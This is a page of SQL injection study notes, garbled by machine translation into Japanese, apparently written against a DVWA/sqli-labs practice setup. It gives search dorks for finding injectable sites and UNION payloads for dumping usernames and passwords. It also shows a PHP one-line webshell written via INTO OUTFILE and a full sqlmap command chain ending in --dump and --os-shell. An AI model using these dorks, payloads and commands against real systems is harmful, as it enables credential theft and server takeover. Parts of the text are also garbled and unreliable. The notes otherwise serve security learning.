sql注入知識点

5588 ワード

sql注入点1特定ターゲットinurlなしを探す必要があります:.php?id=
2特定のターゲットがあります:inurl:.php?id= site:target.com
3ツールspiderを取得し、検索エンジンとターゲットサイトのリンクを取得します.
手動単純認識:and 1=1/and 1=2 and'1'='1/and'1'='2 and 1 like 1/and 1 like 2
ツール識別:sqlmap-m filename(filenameに検出ターゲットを保存)sqlmap--crawl(sqlmapはターゲットサイトを這い出し、順次テスト)
一、環境構築1、wamp 2のインストール、sqli-labs 3のインストール、データベース情報編集の構成:db-creds.incメソッド二docker配備docker search sqli-labs sqli-labs検索sqli-labsdocker pull acgpiano/sqli-labs引き抜きsqli-labs引き抜きsqli-labsdocker imagesローカル既存のミラーdocker run-dt-name sqli-p 80:80--rm acgpiano/sqli-labs実行sqli-dtバックグラウンド実行--name命sqli-pという名前でバックグラウンドの80をローカルの80--rmにマッピングし、dockを閉じると自動的にファイルを削除してリソースを解放します.
SQL言語SQL全称構造化クエリー言語StructuredQueryLanguageは、IBMが開発したクエリー言語です.
sql文select version;select id from jobs where id=1;select id from jobs where id=1 union select version();select id,location from jobs where id=1 union select 1,version()union接合の前後の2つの文のフィールドが一致する必要があり、Noはエラーを報告し、前は2つのフィールドであるため、後にも2つのフィールドが追加される
コード$id=$_GET['id'];$sql="SELECT*FROM users WHERE id='$id'limit 0,1";limit 0,1は0条から1条のレコード注入を返すhttp://test.com/index.php?id=1‘UNION SELCET 1,version()#’一重引用符を閉じるパラメータ番号は注釈の後ろの内容を表す%23は符号化の代表である#
Mysql関数https://dev.mysql.com/doc/refman/5.7/en/dynindex-function.html
SQLmap使用1、url使用python sqlmap-u「url」2、postフォーム1使用python sqlmap-r「ファイル名」(postリクエストをファイルに保存.txt)2)python sqlmap-u「url」--data=「postパラメータ」
mysqlの3つの閉じ方式には閉じ記号'"1 or 1=11'or'1=11"or"1=1
注記記号を閉じる#--スペース//
order byを使用して、フィールド数を決定します.二分法を使用して、いくつかのフィールドがあるかを決定します.1'order by 5--スペース1'order by 3--スペース
どのくらいのフィールドがあるかを決定した後、バージョン情報、ディレクトリ情報などunionを使用することができるかをさらに決定します.たとえば、2つのフィールドcolumns 1'union select@@version,@@datadir--スペースがあります.columnsが1つ少ない場合、エラーが表示されます.「The used SELECT statements have a different number of columns」
mysqlでよく使われる関数@@version表示バージョン@@datadir現在のディレクトリuser()クエリーユーザ名database()クエリーデータベース名information_schema.tablesクエリーデータベースのテーブル名e.g.id=1'union select 1,table_name from information_schema.tables where table_schema='dvwa'--
dvwa.usersクエリーカラム名e.g.id=1'union select 1,column_name from information_schema.columns where table_name='users'--
クエリーユーザー名とパスワードid=1'union select user,password from users--
PHPのファイル読み込み関数load_file()id=1'union select 1,load_file(c:windowswin.ini')--
sql注入によるwebshell書き込みステップ1物理パス取得データベース異常エラー取得物理パス2アップロード書き込みwebshell
一言@eval($_GET['cmd']);
into outfile書き込みファイルプロンプトエラー:設定が書き込めません:The MySQL server is running with the--secure-file-priv option so it cannot execute this statemente.g.http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1'union select","webshell"into outfile'C:phpStudyPHPTutorialWWWDVWAcmd.php'--&Submit=Submit#コード実行http://ip/dvwa/cmd.PHP?cmd=system(dir);
SQLmapによるsqlmap.py-uの自動化http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"-p"id"urlにはidとsubmitが含まれています.-pはidに***--クッキーを指定してログイン状態でsql注入sqlmap.py-uを行います.http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"-p "id"--cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"
--current-user現在のユーザーを取得--current-db現在のdbsqlmap.py-uを取得http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"-p "id"--cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"--current-user --current-db
--tablesクエリーテーブル-D+データベースこのデータベースでクエリーテーブルsqlmap.py-u"http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"-p "id"--cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"--current-user -D dvwa --tables
-T+テーブルクエリーこのテーブルの下--columnsクエリーフィールド名sqlmap.py-u"http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"-p "id"--cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"--current-user -D dvwa -T users --columns
クエリーユーザー名とmim--dumpクエリーユーザー名パスワード-C"user,password"クエリーcolumnsの値sqlmap.py-u"http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"-p "id"--cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"--current-user -D dvwa -T users -C "user,password"--dump
sqlmapでshellをアップロード--OS-shellsqlmap.py-u"http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"-p "id"--cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"--current-user -D dvwa -T users -C "user,password"--os-shell
万能パスワード'--中にスペースがあるwhere username='admin'and password='admin'sql文が変わったwhere username='admin'--'and password='テーブルにadminのユーザー名がある場合はデータを返す
SQLの注入点を探して特定の目標がありませんinurl:.php?id=特定の目標があります:inurl:.php?id=site:target.comツールspiderを登って、検索エンジンと目標のウェブサイトのリンクに対して登ります
    
      
'
and 1=1 / and 1=2
and '1'='1 / and '1'='2 and 1 like 1 / and 1 like 2     : sqlmap -m fliename (fliename        ) sqlmap --crawl (sqlmap         ,        )     :          : sqlmap --level       , header           sqlmap -r filename (filename        )           : Burpsuite + Sqlamp burpsuite               burpsuite    ,    sqlmap       tip          “*”                    :  、  、  、  。。。   limit group 

group_concat()接続クエリの結果